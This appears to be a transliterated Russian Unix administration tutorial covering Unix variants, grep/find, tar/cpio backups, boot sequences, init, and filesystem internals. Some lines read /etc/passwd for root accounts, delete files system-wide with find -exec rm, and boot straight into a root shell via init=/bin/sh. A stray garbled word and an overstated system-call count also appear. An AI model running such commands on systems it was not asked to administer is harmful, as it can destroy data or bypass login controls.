Poslednim iz mogikan ostaetsya DEC: ego OSF/1 dlya Alpha AXP -
nemnogo iskalechennyj, no vse zhe dostatochno blizkij k kornyam BSD
4.3.
&dDUnix'y dlya IBM/PC&d@
&dDNekommercheskie ili uslovno besplatnye&d@
BSD/OS 2.0 BSDi/386 Nedorogoj kommercheskij. Horosho podderzhivaetsya.
Podderzhivaet binarnuyu sovmestimost' s SCO Unix
386bsd BSD 4.3 dlya Intelevskoj platformy
NetBSD proizvodnaya ot 386bsd
FreeBSD 2.1 Samaya kachestvennaya set'. Daby ne svyazyvat'sya s
USL, v nem polnost'yu zanovo perepisany kuski yadra,
na kotoryh stoyal kopirajt AT&T.
Linux 2.0.30 Samyj populyarnyj sredi besplatnyh Unix'ov. CHislo
installyacij ocenochno mezhdu 100 tys. i 1 mln.
Nepreryvnoe sovershenstvovanie silami soten
dobrovol'cev dovelo ego do urovnya dovol'no nadezhnoj,
bystroj, kachestvennoj i udobnoj sistemy,
prigodnoj dlya raboty kak v kachestve graficheskoj
rabochej stancii, tak i internet-servera.
Podderzhivaet bol'she vseh prilozhenij i hardware.
Podderzhivaet specifikacii iBCS, i potomu mozhet
vypolnyat' kommercheskie prilozheniya dlya SCO, v
chastnosti, Oracle i Informix.
V Linux realizovany klient i server Netware i Samba.
|mulyatorom MS Windows WABI pol'zovat'sya ochen' dazhe mozhno.
&dDKommercheskie Unix'y&d@
UnixWare 2.1 SVR4.2 ot SCO. Sovmestima s Windows i Netware. Do
sih por ne dovedena do uma set'.
Podderzhivaet mul'tiprocessornye PC.
Posle togo kak ee u Novell perekupilo
SCO, budushchee etoj sistemy perestalo dlya
menya kazat'sya stol' uzh zamanchivym.
Solaris 2.5 SVR4.0 ot SunSoft. Sovsem kak na Sun'e. V principe,
eto dolzhno govorit' samo za sebya. Nachinaya s
5-j versii v Solaris nakonec prishel Motif.
SCO Unix 4.0 SVR3.2 Poka lider po kolichestvu ustanovok sredi
vseh Unix'ov dlya PC. Staraya nadezhnaya otlazhennaya
sistema. Podderzhivaet dostatochno mnogo hardware.
Podderzhivaet mul'tiprocessornye PC.
Nepomerno dorog. Moral'no ustarel.
Imeet problemy s rusifikaciej. Medlennyj.
ISC Unix 3.2 Nadezhen i kompakten v rabote. Moral'no ustarel.
&dDUnix'y, postavlyaemye proizvoditelyami komp'yuterov&d@
Mashina Operacionnaya sistema "Original"
Sun 1,2,10,... SunOS 4.1.2 BSD 4.3
Sun 10,20,1000 SunOS 5.5 SVR4.0
IBM RS/6000 AIX SV 3.2
HP 9000 HP-UX 10 BSD 4.2 & SV 3.2
Sequent Dynix SV 4.0
Motorola 922 SVR4/88 SVR4.0
Besta-88 Bestix SV 3.1
DEC Ultrix BSD 4.2
DEC Alpha AXP OSF/1 BSD 4.3
SGCS Silicon Graphic IRIX 6.0
Vybiraya platformu, my avtomaticheski poluchaem s nej "ee
sobstvennyj" Unix.
S tochki zreniya udobstva i cel'nosti administratorskogo
upravleniya samye priyatnye iz nih - HP-UX 10.20 i AIX.
A samyj rasprostranennyj - Solaris 2.5 (estestvenno).
.
&dDKomandy poiska GREP i FIND&d@.
Komanda grep/egrep
"fil'truet" stroki - ostavlyaya tol'ko "podhodyashchie" pod shablon
egrep shablon [ file ... ]
V shablon mogut vhodit' obyknovennye simvoly (predstavlyayushchie
sami sebya), a takzhe - specsimvoly, vypolnyayushchie sluzhebnye
funkcii shablona: . * ^ $ [ ]
. - lyuboj proizvol'nyj simvol
* - "mnozhitel'" (predydushchij simvol lyuboe chislo raz)
.* - lyubaya posledovatel'nost' simvolov
^shablon - privyazyvaem shablon k nachalu stroki
shablon$ - privyazyvaem shablon k koncu stroki
[simvoly] - lyuboj odin simvol iz teh, chto stoyat v skobkah
Vyvesti vseh priveligirovannyh pol'zovatelej:
egrep ':0:0:' /etc/passwd
Vyvesti vseh nepriveligirovannyh pol'zovatelej:
egrep -v ':0:0:' /etc/passwd
Vyvesti vseh pol'zovatelej, imena kotoryh nachinayutsya s bukv
a,b,e,d
cat /etc/passwd | grep "^[abed].*"
Komanda find.
find rekursivno obhodit ukazannye katalogi i fajly, proveryaet
dlya nih vypolnenie ukazannyh uslovij i mozhet vdobavok vypol-
nyat' s najdennymi fajlami ukazannye dejstviya. Naprimer, samoe
prostoe dejstvie - raspechatat' imya fajla.
find fajl [ ... ] klyuchi/usloviya/dejstviya
Klyuchi-usloviya komandy find:
-name "*.c" - prostoe imya podhodit pod shablon *.c
-type f - brat' tol'ko obyknovennye fajly
-type d - brat' tol'ko katalogi
-size +500 - fajly razmerom BOLXSHE 500*512 bajt
-mtime -3 - data modifikacii MENXSHE 3-h dnej
-newer filename - data modifikacii nashego fajla MENXSHE, chem u
zadannogo fajla filename
VNIMANIE: Komanda find ispol'zuet standartnye SHELL'ovskie
shablony. Komanda grep ispol'zuet shablony drugogo formata,
nazyvaemye regulyarnymi vyrazheniyami.
Klyuchi-dejstviya komandy find
-print - prosto raspechatat' marshrutnoe imya fajla
-exec komanda nad fajlom {} \;
Primer.
Napechatat' imena vseh obyknovennyh Si-shnyh fajlov, izmenivshihsya
za poslednie 4 dnya v tekushchem kataloge i ego podkatalogah.
find . -type f -mtime -4 -print
Unichtozhit' vse fajly s okonchaniyami *.bu, *%, kotorye ne menya-
lis' bol'she mesyaca.
find / \( -name "*.bu" -o -name "*%" \) -type f \
-atime +30 -exec rm {} \;
zapis' "rm {} \;" - oboznachaet komandu Unix, kotoraya budet vy-
polnyat'sya dlya vseh takih najdennyh fajlov. Vmesto znachka "{}"
budet podstavlyat'sya kazhdyj raz imya najdennogo fajla. Estestven-
no, chto takim obrazom my ih vse i unichtozhim.
.
&dDArhivirovanie. Kopirovanie fajlov na strimmer&d@
V Unix dlya etogo mozhno pol'zovat'sya dvumya utilitami:
tar poproshche v ispol'zovanii, no ne vse umeet
cpio bolee gibkaya, chem tar, i poslozhnee.
&dDKomanda tar (Tape Archiver)&d@.
Prednaznachen dlya sozdaniya arhivov na lente i v fajlah.
Klyuchi: "-c" Create, "-x" eXtract, "-a" Append, "-t" oglavlenie
tar -cvf arhiw.tar fajl1 fajl2 katalog3 ... - sozdat' arhiv
tar -tvf /dev/rmt/ctape vyvesti oglavlenie lenty
tar -xvf arhiw.tar katalog3/fajl4 izvlech' iz arhiva fajl
tar -xvf /dev/rmt/ctape arhiv lezhit na magnitnoj lente
izvlech' s lenty vse fajly
tar -avf arhiw.tar fajl5 dobavit' fajl k arhivu
Klyuchi:
"v" Vyvodit' spisok fajlov v dlinnom formate (Verbose)
"f" Ukazyvaet na imya fajla
&dDKomanda CPIO. (Copy In/Out)&d@.
Komanda cpio -o beret s sistemnogo vvoda spisok imen i skleivaet
eti fajly vmeste v odin arhiv, vytalkivaya ego na svoj sistemnyj
vyvod.
Sbrosit' na lentu fajly po spisku:
-o - (output) sozdavat' arhiv.
-H odc - Zapisyvat' v "sovmestimom formate" (chtoby ar-
hiv mozhno bylo schitat' na Besta ili Sun)
-c - Zapisyvat' v "prestarelom" sovmestimom formate
cat spisok | cpio -ovB -H odc > /dev/rmt/ctape1
find katalog -print | cpio -ovc > arhiwnyj-fajl.cpio
Komanda cpio -i chitaet s sistemnogo vvoda cpio-arhiv i izvleka-
et iz nego fajly
# Prosmotret' soderzhanie strimmera.
cpio -itB < /dev/rmt/ctape
# Izvlech' fajly so strimmera.
cpio -idmvB ["shablon" ...] < /dev/rmt/ctape
-B Razmer bloka 5120 bajt - strimmernyj format.
-d Sozdavat' katalogi v sluchae neobhodimosti.
-v Vyvesti spisok imen obrabotannyh fajlov.
-m Sohranyat' prezhnee vremya poslednej modifikacii.
-f Brat' vse fajly, krome ukazannogo shablonom.
-u Bezuslovno zamenyat' sushchestvuyushchij fajl arhivnym.
-l Gde mozhno, ne kopirovat', a delat' ssylki.
&dDArhivaciya so szhatiem&d@.
Arhivatory tar i cpio, v otlichie ot DOS-ovskih arhivatorov, ne
zanimayutsya kompressiej. CHtoby poluchit' szhatyj arhiv, nuzhno vos-
pol'zovat'sya specializirovannoj komandoj compress ili gzip.
Komanda compress chitaet svoj sistemnyj vvod, a na svoj sistem-
nyj vyhod podaet "prozhatye" dannye.
Komanda zcat ("szhatyj cat":-) chitaet s sistemnogo vhoda "pozha-
tyj" fajl, a na vyhod podaet "razzhatye" dannye.
Sozdat' szhatyj tar-arhiv:
tar -cvf - emacs-19.28 | compress > emacs-19.28.tar.Z
Prochitat' oglavlenie szhatogo tar-arhiva:
zcat < emacs-19.28.tar.Z | tar -tvf -
Obratite vnimanie na klyuch minus "-" na tom meste, gde v tar
nuzhno ukazyvat' imya fajla s arhivom. On oznachaet "brat' dannye
so standartnogo vhoda" (ili vyvodit' arhiv na standartnyj vy-
hod).
GNU Zip - dostatochno izvestnyj upakovshchik, imeet stepen' szhatiya
bolee vysokuyu, chem u compress, pochti kak u arj ili pkzip. Soz-
dat' szhatyj cpio arhiv, ispol'zuya "kompressor" gzip.
find . -print | cpio -ovcaB | gzip > arhiw.gz
Izvlech' fajly iz szhatogo cpio-arhiva
gunzip < arhiw.gz | cpio -idmv
&dD mt - upravlenie magnitnoj lentoj &d@
Specializirovannaya programma dlya raboty s magnitnymi lentami. V
chastnosti, s ee pomoshch'yu mozhno dopisyvat' fajly na lentu odin za
drugim.
CHtoby uznat', chto ona mozhet delat', naberite:
man mt
V SCO Unix programma upravleniya lentoj nazyvaetsya "tape"
&dDDrugie utility arhivacii&d@
V zavisimosti ot versii Unix mogut sushchestvovat' i drugie programmy dlya
bekapirovaniya i sozdaniya arhivov.
backup/restore
dump
fbackup/frestore (HP/UX)
pax
. . .
.
&dDNachal'naya zagruzka operacionnoj sistemy&d@
&dD * Boot-procedura * &d@
Boot, bootstrapping - slova, oboznachayushchie sejchas
"Zagruzit'/pnut', process nachal'noj zagruzki", na samom dele
proizoshli iz anglijskoj frazy "Pull itself up by its own boot
straps" (Podnyat' sebya za shnurki sobstvennyh botinok)
Nachinaetsya vse s Boot-prom'a - nebol'shoj programmy, kotoraya
hranitsya v nestiraemoj pamyati komp'yutera i nachinaet
vypolnyat'sya srazu posle vklyucheniya.
Estestvenno, boot-prom umeet delat' mnogoe: formatirovat'
diski, installirovat' operacionnuyu sistemu, zapuskat' testy
hardware. Odnako glavnoe ego prednaznachenie - najti na diske i
zapustit' na vypolnenie fajl /unix - yadro operacionnoj sistemy.
I svoego sobstvennogo razuma na eto emu obychno ne hvataet,
poetomu on v pervuyu ochered' zagruzhaet s zhestkogo diska
"zagruzchika operacionnoj sistemy", a uzh tot delaet vse
ostal'noe.
&dDSUN&d@
Boot-prom zagruzhaet "BOOT BLOKS" - 1-yu PROGRAMMU NACHALXNOJ
ZAGRUZKI. "boot-bloks" raspolozheny v 1-15 sektorah razdela,
soderzhashchego kornevuyu fajlovuyu sistemu "/". Obychno kornevaya
fajlovaya sistema raspolagaetsya na razdele nomer 0.
"Boot- blocks" mozhno zapisat' na kornevoj razdel
zagruzochnogo diska (obychno eto vnutrennij disk so SCSI-nomerom
3) komandoj installboot. Dlya etogo vypolnyaetsya chto-nibud'
takoe:
installboot /dev/rdsk/c0t3d0s0
Boot-blocks "umeet chitat'" format fajlovoj sistemy unix -
ufs . On nahodit na kornevoj fajlovoj sisteme fajl "/ufsboot"
- 2-YU PROGRAMMU NACHALXNOJ ZAGRUZKI - i zagruzhaet ee.
/ufsboot nahodit yadro /kernel/unix i zagruzhaet ego.
YAdro Unix zagruzhaetsya v operativnuyu pamyat'. Zatem podklyuchaet
dopolnitel'nye zagruzhaemye moduli s draverami ustrojstv. Kak tol'ko yadro
"nabiraet" dostatochnoe kolichestvo draverov, chtoby samostoyatel'no
smontirovat' kornevuyu fajlovuyu sistemu, ono tut zhe eto i delaet, posle chego
nachinaet dejstvovat' samostoyatel'no, ne ispol'zuya koda nachal'nyh
zagruzchikov.
Perehvat v boot-prompt:
STOP+A
Zagruzka v single user:
bo: boot -s
&dDMotorola 922&d@.
Boot-prom zagruzhaet s diska ZAGRUZCHIK - fajl /stand/boot,
Zagruzchik zagruzhaet yadro /stand/unix
Poskol'ku boot-prom ne v sostoyanii vmestit' koda dlya
raboty so standartnoj unix'ovskoj fajlovoj sistemoj, fajly unix
i boot lezhat v otdel'nom razdele zhestkogo diska - razdele
/stand. Na nem sozdana "OCHENX PROSTAYA FAJLOVAYA SISTEMA" bfs
(Boot File System), chtoby boot-prom'u bylo polegche najti i
schitat' s diska zagruzochnye fajly.
Perehvat v boot-prompt:
Posle togo kak na konsoli poyavitsya soobshchenie: "Idle MPU: none"
nazhat' klavishu PROBEL
Zagruzka v single user:
Vo vremya nachal'noj zagruzki na neskol'ko sekund
poyavlyaetsya priglashenie: "Press _chto-to_to enter system_maintence.
Nazhat' trebuemuyu klavishu
&dDLinux&d@.
BIOS zagruzhaet blok nachal'noj zagruzki aktivnogo razdela.
On gruzit zagruzchik LILO (LInux LOader). Lilo zagruzhaet
fajl /vmlinuz
Parametry nachal'noj zagruzki zapisyvayutsya v fajle
/etc/lilo.conf Posle lyubyh izmenenij v etom fajle neobhodimo
vypolnit' komandu
lilo
Perehvat v Lilo-prompt:
Left_ALT srazu posle poyavleniya soobshcheniya "Lilo ..."
Zagruzka v single user:
Lilo: linux root=/dev/hda2 single
Zagruzka v eshche bolee single user:
Lilo: linux init=/bin/sh
mount -n -o remount /dev/hda2 /
insmod de4x5
ifconfig eth0 195.232.171.30
route add -net 195.232.171.0 gw 195.232.171.30
insmod nfs
&dDHP-UX&d@
V PZU HP 9000 prozhivaet "PDC" - "Processor Dependent Code"
- chtob pogovorit' s nim, nado nazhat' klavishu ESC v pervye
sekundy zagruzki.
Na zagruzochnom diske est' Boot-razdel formata LIF
(linejnaya fajlovaya sistema) V LIF-tome 4 "fajla"
ISL - "operacionnaya" programma
HPUX - sobstvenno zagruzchik yadra
AUTOBOOT - tekstovyj fajl, v kotorom napisano imya yadra po
umolchaniyu
Itak: PDS vyzyvaet ISL komandoj
bo scsi.6.0 isl
ISL zagruzhaet yadro komandoj
hpux /stand/vmunix
Perehvat v PDC-prompt:
Nazhat' ESC v pervye 10 sekund
Zagruzka v single user:
PDC> bo pri isl
ISL> hpux -is /stand/vmunix
&dD * Process init * &d@
YAdro inicializiruet sebya i posle etogo zapuskaet process init.
A init - vse ostal'nye processy, programmy, kotorye neobhodimy
dlya normal'nogo funkcionirovaniya operacionnoj sistemy.
Vse dal'nejshie dejstviya v sisteme opredelyayutsya etim processom.
Vse, chto nuzhno delat' init-u, opredelyaet special'naya tablica.
Process init vsegda nahoditsya na kakom-libo "UROVNE VYPOLNENIYA".
Uroven' vypolneniya opredelyaet sostoyanie i povedenie vsej siste-
my. Uroven' oboznachaetsya cifroj (ili bukvoj) 0,1,2,3,4,5,6,s,S
0 - prom monitor - Polnyj ostanov sistemy;
1, s, S - single user mode. Odnopol'zovatel'skij rezhim;
2 - mnogopol'zovatel'skij rezhim bez NFS-servera;
3 - mnogopol'zovatel'skij rezhim s NFS-serverom;
6 - perezagruzka;
&dD * Primernyj fragment upravlyayushchej tablicy /etc/inittab * &d@
bchk::sysinit:/etc/bcheckrc/dev/console 2>&1
brc::sysinit:/etc/brc > /dev/console 2>&1
is:3:initdefault:
rc:12345:wait:/etc/rc > /dev/console 2>&1
r0:0:wait:/etc/rc0 > /dev/console 2>&1
r2:23:wait:/etc/rc2 > /dev/console 2>&1
r3:3:wait:/etc/rc3 > /dev/console 2>&1
pf:12345:powerfail:/etc/powerfail > /dev/console 2>&1
co:12345:respawn:/etc/sysmonitor console console
t1:23:respawn:/etc/sysmonitor tty01 9600
t2:23:off:/etc/sysmonitor tty02 9600
Format tablicy:
IMYA:Urovni_vypolneniya:vid_dejstviya:zapuskaemaya komanda
IMYA: - prosto imya strochki - oni vse dolzhny byt' raznymi
vid_dejstviya:
sysinit zapustit' odin raz posle nachal'noj zagruzki;
na sootvetstvuyushchem urovne vypolneniya:
wait - zapustit' odin raz i dozhidat'sya, poka ne okonchitsya;
respawn - zapustit' parallel'no, a esli okonchitsya, perezapus-
kat' snova;
off - nichego ne delat' (prosto ignorirovat' etu stroku).
Esli posmotret' vnimatel'no na tablicu, to mozhno razobrat'sya,
chto zhe v dejstvitel'nosti proishodit pri zagruzke i otkuda be-
rutsya vse eti zagadochnye soobshcheniya.
Sperva init zapuskaet processy, kotorye "sysinit"
Otrabotav vse stroki "sysinit" urovnya, init idet vse
dal'she po /etc/inittab i obnaruzhivaet stroku initdefault 3 -
ona zastavlyaet ego "perejti" na uroven' 3.
&dD * Run Command - standartnye RC-katalogi zapuska * &d@
Perejdya na uroven' vypolneniya 3, init i otrabatyvaet
pervuyu vstretivshuyusya strochku s urovnem "3" - zapuskaetsya
komandnyj fajl /etc/rc2 - zaglyanite v nego. Tam vse prosto:
/etc/rc2 beret i vypolnyaet komandnye fajly /etc/rc2.d/S*,
lezhashchie v kataloge /etc/rc2.d. Kazhdyj fajl vypolnyaetsya s
parametrom "start"
Otrabotav /etc/rc2, init tochno takim zhe obrazom zapuskaet
fajl /etc/rc3. Vsled za etim on zapuskaet neskol'ko processov
sysmonitor - po odnomu na kazhdyj imeyushchijsya terminal. |to te
samye processy, kotorye govoryat na terminal: "Login: "
Pol'zovatel', vojdya na terminal, nekotoroe vremya rabotaet, no
kak tol'ko on "uhodit" iz sistemy, na ukazannom terminale
nichego ne ostaetsya. init tut zhe vypolnyaet dejstvie "respawn" -
perezapuskaet na terminal sysmonitor - i opyat' zhizneradostnoe
"Login: " poyavlyaetsya na terminale.
&dDLinux Slackware&d@
Po umolchaniyu init ustanavlivaet uroven' vypolneniya 5.
Pri nachal'noj zagruzke otrabatyvaetsya fajl
/etc/rc.d/rc.S
Zatem dlya perehoda v mnogopol'zovatel'skij rezhim
/etc/rc.d/rc.M
iz kotorogo zapuskayutsya fajly
/etc/rc.d/rc.inet1 ustanavlivayushchij setevye interfejsy
/etc/rc.d/rc.inet2 zapuskayushchij setevye servisy
/etc/rc.d/rc.local zapuskayushchij neskol'ko poleznyh programm i
demonov - naprimer, podderzhka myshi, httpd,
rusifikaciya konsolya i t.p.
&dDLinux RedHat&d@
Ispol'zuetsya standartnaya tehnologiya rc-fajlov System V
RC-katalogi:
/etc/rc.d/rc[0123456].d/
/etc/rc.d/init.d/
Konfiguracionnye parametry dlya RC-komand:
/etc/sysconfig/
&dDHP-UX 10.20&d@
Ne smotrya na BSD-evoe proishozhdenie, ispol'zuetsya standartnaya
tehnologiya rc-fajlov System V
RC-katalogi:
/sbin/rc[0123].d/
/sbin/init.d/
Konfiguracionnye parametry dlya RC-komand:
/etc/rc.defaults.d/
&dDSVR4: SUN, Motorola&d@
Ispol'zuetsya standartnaya tehnologiya rc-fajlov System V
RC-katalogi:
/etc/rc[0123456].d/
/etc/init.d/
.
&dDUnix, bazovye principy i osobennosti&d@.
Vse sistemnye dejstviya vypolnyaet yadro operacionnoj sistemy
Unix. YAdro - obychnyj vypolnyaemyj fajl, raspolozhen v fajle /unix
ili /stand/unix ili /vmunix ili /vmlinuz (v zavisimosti ot kon-
kretnoj realizacii). Mozhete posmotret' razmer etogo fajla - ne
malen'kij. Pri nachal'noj zagruzke sistemy yadro celikom zagruzha-
etsya v operativnnuyu pamyat' i v dal'nejshem rezidentno nahoditsya
v nej, vypolnyaya vse neobhodimye raboty.
CHto vhodit v yadro.
DRAJVERY USTROJSTV. I teh, kotorye est', i teh, kotoryh net, no
mogut byt', a takzhe i takie, kotorye nikogda vam ne
ponadobyatsya.
UPRAVLYAYUSHCHIE PODPROGRAMMY: chasti koda, otvetstvennye za
obespechenie raboty pol'zovatel'skih programm - razdelenie
vremeni i prochih resursov sistemy.
SLUZHEBNYE TABLICY I DANNYE YADRA: tablicy tekushchih processov, ot-
krytyh fajlov, upravlyayushchie struktury...
SISTEMNYE VYZOVY. (To, chto MS-DOS nazyvaetsya "21 preryvanie",
mozhno schitat' nekotoroj analogiej/parodiej na sistemnye
vyzovy.) S tochki zreniya programmista eto obychnaya si-shnaya
funkciya, tol'ko vypolnyaet ona sistemno-zavisimye dejstviya,
naprimer: prochitat' dannye iz fajla, ustanovit' setevoe
soedinenie, sozdat' katalog, i t.d. i t.p. Vse sistemnye vyzovy
( a vsego ih bolee 1500 shtuk ) vkompilirovany v telo yadra Unix.
Pol'zovatel'skie programmy, vyzyvayushchie funkcii, yavlyayushchiesya
sistemnymi vyzovami, na samom dele soderzhat tol'ko jump'y na
sootvetstvuyushchie adresa pamyati v yadre. V pol'zovatel'skuyu
programmu sistemnye vyzovy ne vlinkovyvayutsya.
CHto nahoditsya v operativnoj pamyati.
YADRO OPERACIONNOJ SISTEMY.
BUFERNYJ K|SH. CHast' operativnoj pamyati rezerviruetsya pod keshi-
rovanie chteniya i zapisi na disk. Lyubaya operaciya chteniya s diska
privodit k tomu, chto prochitannye bloki pomeshchayutsya v bufernyj
kesh, a iz nego uzhe peredayutsya zaprosivshim dannye programmam.
Esli blok popal v kesh, to vse posleduyushchie obrashcheniya k nemu bu-
dut poluchat' obraz bloka iz kesha, prichem nezavisimo ot togo -
ta zhe samaya programma obrashchaetsya k bloku ili kakaya-libo dru-
gaya. Keshiruetsya takzhe i zapis' na disk, opyat' zhe, razdelyaemaya
mezhdu vsemi vypolnyaemymi programmami.
PROCESSY. Processom v Unix nazyvaetsya vypolnyayushchayasya programma.
Sredstva ekonomii pamyati. Virtual'naya pamyat'.
REENTERABELXNOSTX KODA. Kogda odna i ta zhe programma(vypolnya-
emyj fajl) zapushchena v neskol'kih ekzemplyarah, to v operativnuyu
pamyat' zagruzhaetsya tol'ko odna kopiya vypolnyaemogo assemblernogo
koda na vseh. Kazhdyj vypolnyamyj process ispol'zuet odin i tot
zhe tekst programmy, prosto u kazhdogo processa imeetsya svoj sob-
stvennyj ukazatel' na tekushchij operator.
RAZDELYAEMYE BIBLIOTEKI. (V Windows est' pohozhee ponyatie DLL -
dinamicheski podgruzhaemaya biblioteka). Nekotoroe kolichestvo chas-
to vypolnyaemyh funkcij (naprimer, printf, da i mnogo drugih)
oformlyaetsya v vide special'nym obrazom podgotovlennoj bibliote-
ki (SHARED LIBRARY). Pri kompilyacii programmy, ispol'zuyushchej
razdelyaemye biblioteki, eti funkcii ne linkuyutsya vnutr' koda
programmy. Oni "vydergivayutsya" iz biblioteki na stadii
vypolneniya programmy. |tim my ekonomim mesto na diske i v
operativnoj pamyati: v programmah otsutstvuet kod razdelyaemyh
funkcij, a v operativnoj pamyati eta funkciya prisutstvuet v
odnom ekzemplyare na vseh.
SWAPING. Kazhdyj Unix-process funkcioniruet v svoem sobstvennom
32-h bitnom virtual'nom adresnom prostranstve, ne peresekayushchem-
sya s drugimi. Adresnoe prostranstvo processa mozhet byt' bol'-
shim, chem fizicheskaya operativnaya pamyat'. Virtual'naya pamyat' pod-
derzhivaetsya s pomoshch'yu PAGING'a - razresheniya virtual'nyh adresov
v fizicheskie "na letu", s podkachkoj otsutstvuyushchih stranic
pamyati so swap-oblasti na zhestkom diske.
Na samom dele SWAPING'a kak takovogo v Unix'e net, vmesto nego
primenyaetsya gorazdo bolee gibkij PAGING. (swaping - po oprede-
leniyu, eto POLNAYA vygruzka programmy na swap-oblast' s cel'yu
osvobozhdeniya mesta v operativnoj pamyati).
Oblast' pamyati, zanyataya programmoj, razdelena na tri chasti: TEXT
(vypolnyaemye kody programmy), DATA (staticheskie dannye program-
my), STACK (dinamicheskie dannye). Kogda operacionka osvobozhdaet
mesto v pamyati za schet TEXT'a, to ona ne zanimaetsya sbrosom
ego na disk. Ona srazu pomechaet ego kak svobodnyj. Dejstvi-
tel'no, kogda potrebuetsya zagruzit' TEXT obratno v pamyat', ego
mozhno budet vzyat' iz samogo vypolnyaemogo fajla s programmoj.
Takaya ekonomiya imeet odin pobochnyj effekt. Fajl programmy, ko-
toraya v dannyj moment vypolnyaetsya, nevozmozhno unichtozhit'. Ope-
racionnaya sistema soobshchit v etom sluchae: "text file busy", i
otkazhetsya vypolnyat' udalenie.
BIT NAVYAZCHIVOSTI. (sticky bit). Vypolnyaemaya programma mozhet
imet' dopolnitel'nyj atribut. Tak nazyvaemyj "bit navyazchivos-
ti". Kogda takaya programma zakanchivaet vypolnenie, operacionka
(po vozmozhnosti) staraetsya ne zanimat' pamyat', v kotoroj naho-
dilsya tekst programmy. Sootvetstvenno, povtornyj ee zapusk pro-
izojdet ochen' bystro - ved' programma vse eshche zagruzhena v pa-
myat', ee ne trebuetsya zachityvat' s diska. Nuzhno prosto peredat'
na nee upravlenie.
&dDFajlovaya sistema Unix&d@.
Fajlovaya sistema v Unix - "derevyannaya", sostoit iz fajlov i
katalogov. Na kazhdom razdele diska sozdaetsya sobstvennaya neza-
visimaya fajlovaya sistema. Otdel'nye fajlovye sistemy "sceplyayut-
sya" vmeste, v edinoe obshchee derevo direktorij. Takaya operaciya
nazyvaetsya "montirovaniem". Vyglyadit eto primerno tak:
mount -F ufs /dev/dsk/m197_c0d0s5 /home1
mount -F ufs /dev/dsk/m197_c0d0s4 /usr
df
Poluchit' dostup k fajlam "nesmontirovannoj" fajlovoj sistemy
nevozmozhno. Porochnaya prakika MS-DOSa - skol'ko razdelov, stol'-
ko i "diskov" ( a: b: c: d: e: ... k: l: m: n:) v Unix ne pri-
menyaetsya. V Unix vsegda est' rovno odno obshchee derevo katalogov,
i, po bol'shomu schetu, pol'zovatelyam sovershenno vse ravno, na
kakom imenno diske ili razdele diska raspolozheny ego fajly
/usr/spool/moshkow ili /home1/moshkow/bin/mcopy ...
Fajlovaya sistema Unix keshiruetsya bufernym keshem. Operaciya zapi-
si na disk vypolnyaetsya ne togda, kogda eto prikazyvaet vypolnya-
emyj process, a kogda operacionnaya sistema sochtet nuzhnym eto
sdelat'. |to rezko podnimaet effektivnost' i skorost' raboty s
diskom, i povyshaet opasnost' ee ispol'zovaniya. Vyklyuchenie
pitaniya na "goryachej", rabotayushchej Unix-mashine privodit k
razrusheniyam struktury fajlovoj sistemy.
Pri kazhdoj nachal'noj zagruzke Unix proveryaet - korrektno li by-
la vyklyuchena mashina v proshlyj raz, i esli net - avtomaticheski
zapuskaet utilitu fsck (File System Check) - proverku i remont
fajlovyh sistem..
&dDVnutrennyaya struktura fajlovoj sistemy Unix&d@.
Razdel diska, v kotorom sozdana fajlovaya sistema, razbit na tri
chasti.
SUPERBLOK. Zanimaet 1 Kb.
Soderzhit sluzhebnuyu informaciyu:
Tip fajlovoj sistemy,
Razmer
Nachalo spiska svobodnyh blokov.
. . . chto-to eshche
OBLASTX INOD-ov. Zanimaet primerno 8% obshchego razmera razdela.
inode - Index-node - opisatel' fajla. On soderzhit vsyu informa-
ciyu o fajle, za isklyucheniem imeni fajla, i sobstvenno dannyh
fajla. V inod'e hranitsya:
tip fajla (fajl, katalog, imenovannyj kanal, special'nyj fajl)
kto vladelec
prava(atributy) fajla
vremya modifikaci/sozdaniya fajla
adresa blokov, iz kotoryh sostoit fajl
chto-to eshche ...
OBLASTX DANNYH. V etoj oblasti raspolozhenvIRTUALXNAYAYAy bloki s dannymi faj-
lov. Nezanyatye bloki provyazany v SPISOK SVOBOD-
NYH BLOKOV
Fajly byvayut dvuh osnovnyh tipov. FAJL, KATALOG.
FAJL - on i est' fajl.
KATALOG - fajl fiksirovannogo formata: sostoit iz strochek s
imenami fajlov, vhodyashchih v katalog
imya_fajla1 Nomer_Inoda1
imya_fajla2 Nomer_Inoda2
. . .
CHtoby poluchit' dostup k fajlu po imeni, operacionnaya sistema
1. nahodit eto imya v kataloge, soderzhashchem fajl,
2. beret Nomer_Inoda fajla,
3. po nomeru nahodit inod v oblasti inod'ov,
4. iz inod'a beret adresa blokov, v kotoryh raspolozheny dann-
ye fajla,
5. po adresam blokov schityvaet bloki iz oblasti dannyh.
Vse.
Format indeksnogo opisatelya fajla.
Oblast' inodov razbita na 64-h bajtnye struktury - inod'y.
V inod'e hranitsya:
Tip fajla (fajl/katalog/special'nyj fajl/fifo/socket)
Atributy (prava dostupa)
Vladelec fajla
Gruppa-vladelec fajla
Vremena sozdaniya, modifikacii, poslednego dostupa k fajlu
Dlina fajla
Adres 1-go bloka fajla
Adres 2-go bloka fajla
...
Adres 10-go bloka fajla
Adres bloka kosvennoj adresacii (bloka s 256 adresami blokov)
Adres bloka 2-j kosvennoj adresacii
(bloka s 256 adresami blokov s adresami)
Adres bloka 3-j kosvennoj adresacii
(bloka s adresami blokov s adresami blokov s adresami)
Tochnyj format struktury fajlovoj sistemy sm.
man fs
.
&dDSpecial'nye fajly&d@
V Unix pomimo obychnyh fajlov i katalogov sushchestvuyut eshche i spe-
cial'nye fajly. Oni ispol'zuyutsya dlya oboznacheniya fizicheskih us-
trojstv komp'yutera. (ZHelezok). V sushchnosti, chto takoe fajl? |to
"nechto", kuda mozhno zapisyvat' dannye kak posledovatel'nost'
bajtov i schityvat' ih ottuda. I, znachit, vpolne estestvennym
vyglyadit, naprimer, fajl /dev/console - sootvetstvuyushchij kon-
sol'nomu terminalu. Vse, chto vyvoditsya v fajl /dev/console,
budet prosto poyavlyat'sya na ekrane terminala. Pri popytke chteniya
iz fajla /dev/console vy budete poluchat' (vnimanie!) ne to,
chto narisovano v dannyj moment na ekrane, a to, chto vvoditsya s
klaviatury. Poprobujte vypolnit' komandy
su
echo Privet > /dev/console
cat /dev/console
Ctrl-C
Dlya kazhdogo terminala unix-mashiny sushchestvuet sootvetstvuyushchij
emu fajl. Obychnym terminalam sootvetstvuyut fajly, kotorye
nazyvayutsya primerno tak:
/dev/contty01 ili /dev/tty02 ili /dev/ttyFD02 ili /dev/ttyS0
(i t.d., vozmozhny varianty)
Psevdoterminalam (oni emuliruyutsya, kogda vy vhodite v sistemu
po seti, posredstvom komand tipa telnet, rlogin) sootvetstvuyut
special'nye fajly
